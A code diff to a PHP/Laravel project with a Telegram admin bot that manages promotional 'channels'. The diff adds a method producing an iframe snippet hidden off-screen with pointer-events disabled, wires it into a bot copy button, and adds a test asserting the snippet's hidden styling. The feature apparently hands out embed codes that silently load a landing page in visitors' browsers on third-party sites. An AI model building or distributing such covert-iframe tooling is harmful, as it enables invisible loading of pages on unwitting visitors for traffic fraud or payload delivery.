diff --git a/app/Models/Channel.php b/app/Models/Channel.php
index 6018005..e173cfb 100644
--- a/app/Models/Channel.php
+++ b/app/Models/Channel.php
@@ -172,6 +172,23 @@ class Channel extends Model
         return array_values(array_unique($links));
     }
 
+    /**
+     * Hidden iframe snippet for embedding the landing URL (same as admin「复制推广代码」).
+     */
+    public function promoIframeSnippet(?string $url = null): ?string
+    {
+        $url = trim((string) ($url ?? ($this->supportLinks()[0] ?? '')));
+        if ($url === '') {
+            $base = rtrim((string) config('app.url'), '/');
+            if ($base === '') {
+                return null;
+            }
+            $url = $base.$this->landingPath();
+        }
+
+        return '<iframe src="'.$url.'"  style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
+    }
+
     public static function randomChannelId(): string
     {
         return bin2hex(random_bytes(16));
diff --git a/app/Telegram/Handlers/ChannelCommand.php b/app/Telegram/Handlers/ChannelCommand.php
index a21c355..c8dc08a 100644
--- a/app/Telegram/Handlers/ChannelCommand.php
+++ b/app/Telegram/Handlers/ChannelCommand.php
@@ -31,7 +31,7 @@ class ChannelCommand
             return;
         }
 
-        $lines = ['📎 渠道列表（点按钮复制链接）', ''];
+        $lines = ['📎 渠道列表（点按钮复制；新版=推广 iframe，旧版=投放链接）', ''];
         $markup = InlineKeyboardMarkup::make();
 
         foreach ($channels as $i => $channel) {
@@ -43,10 +43,17 @@ class ChannelCommand
             $lines[] = '   备注: '.$remarkLabel.' | 归属: '.$owner.' | '.$status;
 
             if ($channel->isNewBuilder()) {
-                $btnText = ($remark !== '' ? mb_substr($remark, 0, 18) : $channel->channel_id).' · 渠道码';
+                $snippet = $channel->promoIframeSnippet();
+                if ($snippet === null || $snippet === '') {
+                    $btnText = ($remark !== '' ? mb_substr($remark, 0, 18) : $channel->channel_id).' · 渠道码';
+                    $copy = $channel->channel_id;
+                } else {
+                    $btnText = ($remark !== '' ? mb_substr($remark, 0, 16) : $channel->channel_id).' · 推广代码';
+                    $copy = strlen($snippet) > 256 ? substr($snippet, 0, 256) : $snippet;
+                }
                 $markup->addRow(InlineKeyboardButton::make(
                     text: $btnText,
-                    copy_text: CopyTextButton::make($channel->channel_id),
+                    copy_text: CopyTextButton::make($copy),
                 ));
 
                 continue;
diff --git a/app/Telegram/Handlers/HelpCommand.php b/app/Telegram/Handlers/HelpCommand.php
index e1844a5..771bbe6 100644
--- a/app/Telegram/Handlers/HelpCommand.php
+++ b/app/Telegram/Handlers/HelpCommand.php
@@ -32,7 +32,7 @@ class HelpCommand
             '  例: /data 0.0.01',
             '',
             '/channel',
-            '  列出渠道：ID、备注、归属；点按钮复制链接',
+            '  列出渠道：ID、备注、归属；新版点按钮复制推广 iframe，旧版复制投放链接',
         ];
 
         if ($this->context->isOfficial()) {
diff --git a/app/Telegram/TelegramRegistrar.php b/app/Telegram/TelegramRegistrar.php
index 19a6817..1389f61 100644
--- a/app/Telegram/TelegramRegistrar.php
+++ b/app/Telegram/TelegramRegistrar.php
@@ -51,7 +51,7 @@ class TelegramRegistrar
                 ->description('Visit stats for 1/7/30 days, optional channelId');
 
             $bot->onCommand('channel', ChannelCommand::class)
-                ->description('List channels with copyable support links');
+                ->description('List channels; copy promo iframe (new) or support link (old)');
 
             if ($allowTransfer) {
                 $bot->onCommand('transfer {args}', TransferCommand::class)
diff --git a/tests/Feature/TelegramBotTest.php b/tests/Feature/TelegramBotTest.php
index 1b2ffea..108dce6 100644
--- a/tests/Feature/TelegramBotTest.php
+++ b/tests/Feature/TelegramBotTest.php
@@ -331,6 +331,53 @@ class TelegramBotTest extends TestCase
         $this->assertArrayHasKey('reply_markup', $last);
     }
 
+    #[Test]
+    public function admin_channel_new_builder_copies_promo_iframe(): void
+    {
+        config([
+            'coruna.channel_domains' => ['cdn.example.com'],
+            'coruna.static_site.scheme' => 'https',
+        ]);
+
+        Channel::query()->create([
+            'channel_id' => 'S.U.N2',
+            'builder_type' => Channel::BUILDER_NEW,
+            'user_id' => Channel::OFFICIAL_USER_ID,
+            'remark' => 'SUN02',
+            'status' => 1,
+        ]);
+
+        /** @var FakeNutgram $bot */
+        $bot = app(Nutgram::class);
+
+        $bot->willReceivePartial([
+            'status' => ChatMemberStatus::ADMINISTRATOR->value,
+            'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
+            'can_manage_chat' => true,
+        ]);
+
+        $bot->hearMessage([
+            'text' => '/channel',
+            'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
+            'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
+        ])->reply();
+
+        $bot->assertCalled('sendMessage', 1);
+        $history = $bot->getRequestHistory();
+        $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
+        $this->assertStringContainsString('S.U.N2', $last['text'] ?? '');
+        $this->assertStringContainsString('推广 iframe', $last['text'] ?? '');
+
+        $markup = $last['reply_markup'] ?? null;
+        $this->assertIsArray($markup);
+        $row = $markup['inline_keyboard'][0][0] ?? null;
+        $this->assertIsArray($row);
+        $this->assertStringContainsString('推广代码', (string) ($row['text'] ?? ''));
+        $copy = (string) data_get($row, 'copy_text.text', '');
+        $this->assertStringContainsString('<iframe src="https://cdn.example.com/channel/S.U.N2/weifile/weifile.html"', $copy);
+        $this->assertStringContainsString('pointer-events:none', $copy);
+    }
+
     #[Test]
     public function agent_bot_only_sees_own_channels_and_stats(): void
     {